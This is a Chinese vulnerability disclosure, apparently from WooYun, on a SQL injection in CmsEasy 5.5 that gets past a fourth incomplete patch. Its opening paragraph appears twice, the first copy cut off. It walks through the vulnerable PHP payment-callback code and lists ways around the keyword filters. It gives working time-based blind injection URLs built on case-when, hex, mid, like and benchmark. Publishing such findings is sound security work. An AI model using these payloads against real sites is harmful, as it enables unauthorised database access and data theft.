### 简要描述: CmsEasy最新版5.5_UTF-8_20140802绕过四次补丁继续SQL注入 ### 详细说明: CmsEasy最新版5.5_UTF-8_20140802,前面被雨神饶了三次 [WooYun: cmseasy绕过补丁SQL注入一枚](http://www.wooyun.org/bugs/wooyun-2014-053198) [WooYun: 继续绕过cmseasy补丁继续注入](http://www.wooyun.org/bugs/wooyun-2014-053737) [WooYun: 持续绕过cmseasy两次补丁继续注入](http://www.wooyun.org/bugs/wooyun-2014-054220) 最新的里面也修复了,但是修复不完整,这是第四次补丁了 继续绕过,进行SQL注入 来看看文件:archive_act.php ``` function respond_action() { include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php'; $payclassname = front::$get['code']; $payobj = new $payclassname(); $uri = $_SERVER["REQUEST_URI"]; $__uriget = strstr($uri, '?'); $__uriget = str_replace('?', '', $__uriget); $__uriget = explode('&', $__uriget); $_GET = array(); foreach ($__uriget as $key => $val) { $tmp = explode('=', $val); $_GET[$tmp[0]] = $tmp[1]; if(preg_match('/\'|select|union|"/i', $tmp1)){ exit('非法参数'); } } file_put_contents('logs11.txt', var_export($_GET,true)); $status = $payobj->respond(); if ($status) { echo '<script...
### 简要描述: CmsEasy最新版5.5_UTF-8_20140802绕过四次补丁继续SQL注入 ### 详细说明: CmsEasy最新版5.5_UTF-8_20140802,前面被雨神饶了三次 [WooYun: cmseasy绕过补丁SQL注入一枚](http://www.wooyun.org/bugs/wooyun-2014-053198) [WooYun: 继续绕过cmseasy补丁继续注入](http://www.wooyun.org/bugs/wooyun-2014-053737) [WooYun: 持续绕过cmseasy两次补丁继续注入](http://www.wooyun.org/bugs/wooyun-2014-054220) 最新的里面也修复了,但是修复不完整,这是第四次补丁了 继续绕过,进行SQL注入 来看看文件:archive_act.php ``` function respond_action() { include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php'; $payclassname = front::$get['code']; $payobj = new $payclassname(); $uri = $_SERVER["REQUEST_URI"]; $__uriget = strstr($uri, '?'); $__uriget = str_replace('?', '', $__uriget); $__uriget = explode('&', $__uriget); $_GET = array(); foreach ($__uriget as $key => $val) { $tmp = explode('=', $val); $_GET[$tmp[0]] = $tmp[1]; if(preg_match('/\'|select|union|"/i', $tmp1)){ exit('非法参数'); } } file_put_contents('logs11.txt', var_export($_GET,true)); $status = $payobj->respond(); if ($status) { echo '<script type="text/javascript">alert("' . lang('已经付款,跳转到订单查询') . '")</script>'; front::refresh(url('archive/orders/oid/' . front::get('subject'), true)); } else { echo '<script type="text/javascript">alert("' . lang('跳转到订单查询') . '")</script>'; front::refresh(url('archive/orders/oid/' . front::get('subject'), true)); } } ``` 这里调用了$status = $payobj->respond(); 进入respond函数看看: 文件alipay.php: ``` function respond() { if (!empty($_POST)) { foreach($_POST as $key =>$data) { if(preg_match('/(=|<|>|\')/', $data)){ return false; } $_GET[$key] = $data; } } $payment = pay::get_payment($_GET['code']); $seller_email = rawurldecode($_GET['seller_email']); $order_sn = str_replace($_GET['subject'],'',$_GET['out_trade_no']); $order_sn = trim($order_sn); if (!pay::check_money($order_sn,$_GET['total_fee'])) { return false; } if($_GET['trade_status'] == "WAIT_SELLER_SEND_GOODS"||$_GET['trade_status'] == "TRADE_FINISHED" || $_GET['trade_status'] == "TRADE_SUCCESS") { pay::changeorders($order_sn,$_GET); return true; }else { return false; } } ``` 这里直接带入$_POST的内容 过滤了=,<,>,'这些 然后当trade_status=WAIT_SELLER_SEND_GOODS时,进入了pay::changeorders($order_sn,$_GET); 继续跟进看看changeorders函数: ``` public static function changeorders($id,$orderlog) { //file_put_contents('logs.txt', $id); $where=array(); $where['id']=$id; $where['status']=4; //$where['orderlog']=serialize($orderlog); $update=orders::getInstance()->rec_update($where,$id); if($update<1) { exit('改变订单状态出错,请联系管理员'); } ``` 这里$where['id']=$id=$order_sn=str_replace($_GET['subject'],'',$_GET['out_trade_no']); 最后进入了rec_update($where,$id) ``` function rec_update($row,$where) { $tbname=$this->name; $sql=$this->sql_update($tbname,$row,$where); //echo $sql." "; return $this->query_unbuffered($sql); } ``` 进入sql_update($tbname,$row,$where) ``` function sql_update($tbname,$row,$where) { $sqlud=''; if (is_string($row)) $sqlud=$row.' '; else foreach ($row as $key=>$value) { if (in_array($key,explode(',',$this->getcolslist()))) { $value=$value; /*if (preg_match('/^\[(.*)\]$/',$value,$match)) $sqlud .= "`$key`"."= '".$match[1]."',"; else*/if ($value === "") $sqlud .= "`$key`= NULL, "; else $sqlud .= "`$key`"."= '".$value."',"; } } $sqlud=rtrim($sqlud); $sqlud=rtrim($sqlud,','); $this->condition($where); $sql="UPDATE `".$tbname."` SET ".$sqlud." WHERE ".$where; return $sql; } ``` $where及我们可控的,传入的参数 但是到最后进入SQL时,只在condition函数中处理了,前面一直没处理 到condition这里时,都是存在问题的,只要condition里面通用没有处理,或者处理不完整时,就可以导致注入了,我们来看看$this->condition($where);。 ``` function condition(&$condition) { if (isset($condition) &&is_array($condition)) { $_condition=array(); foreach ($condition as $key=>$value) { //$value=str_replace("'","\'",$value); $_condition[]="`$key`='$value'"; } $condition=implode(' and ',$_condition); } else if (is_numeric($condition)) { $this->getFields(); $condition="`$this->primary_key`='$condition'"; }else if(true === $condition){ $condition = 'true'; }else{ //echo $condition." __ "; if(preg_match('/(if|select|ascii|from|sleep)/i', $condition)){ //echo $condition; exit('sql inject'); } } if (get_class($this) == 'archive') { if (!front::get('deletestate')) { if ($condition) $condition.=' and (state IS NULL or state<>\'-1\') '; else $condition='state IS NULL or state<>\'-1\' '; } else { if ($condition) $condition.=' and state=\'-1\' '; else $condition=' state=\'-1\' '; } } } ``` 从上面可以看到 当我们输入的内容为数字型时,就加上单引号,这里前面过滤了单引号,当数字型时无法利用 当我么的内容恒等于true是,返回true 当不是上述情况时,如内容为字符型,则进行过滤: preg_match('/(if|select|ascii|from|sleep)/i', $condition) 通过上面的几次过滤,有特殊符号过滤,有关键字过滤 这里连if,ascii都过滤了,貌似是没办法了,其实不然,继续搞起!!! ### 漏洞证明: 我们先随便输入一个数字型字符串试试: [<img src="https://images.seebug.org/upload/201408/051259470db6521dd7e23f08e1d069f91f463456.png" alt="111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/051259470db6521dd7e23f08e1d069f91f463456.png) 这里加单引号保护了,因前面过滤单引号,所以没办法利用了 再来输入一个字符串看看: [<img src="https://images.seebug.org/upload/201408/05130020a9ad19fbe5705c24ba5dfcc46147962a.png" alt="222.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/05130020a9ad19fbe5705c24ba5dfcc46147962a.png) 看到了,这里没有加单引号,有希望! 但是上面过滤了很多关键的东西,但是我们都可以绕过! 过滤了=号,我们用-号,或者用like 过滤了if,我们用case 1 when 2 then 3 else 4 end 过了assic,我们用hex 过了了substr,我们用mid 过滤了sleep,我们用benchmark 这些东西足够我们使用了 这里使用两种方法: 第一种方法,使用hex和-号: ``` http://localhost/CmsEasy_5.5_UTF-8_20140802/index.php?case=archive&act=respond&code=alipay out_trade_no=id in ( case when (hex(mid(user(),1,1))-71) then benchmark(10000000,md5(1)) else false end )&trade_status=WAIT_SELLER_SEND_GOODS ``` 这里会延迟3秒,将benchmark修改为:benchmark(20000000,md5(1)),会延迟6秒 [<img src="https://images.seebug.org/upload/201408/051305125b20fd633c701457285a7d94eccd8971.png" alt="333.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/051305125b20fd633c701457285a7d94eccd8971.png) 第二种方法,使用like搞定 ``` http://localhost/CmsEasy_5.5_UTF-8_20140802/index.php?case=archive&act=respond&code=alipay out_trade_no=id in ( case when (mid(user(),1,1)) like char(114) then benchmark(20000000,md5(1)) else false end )&trade_status=WAIT_SELLER_SEND_GOODS ``` 或者 ``` http://localhost/CmsEasy_5.5_UTF-8_20140802/index.php?case=archive&act=respond&code=alipay out_trade_no=id in ( case when (mid(version(),1,1)) like 5 then benchmark(20000000,md5(1)) else false end )&trade_status=WAIT_SELLER_SEND_GOODS ``` 都会延迟6秒返回 这样就达到盲注的目的了,over!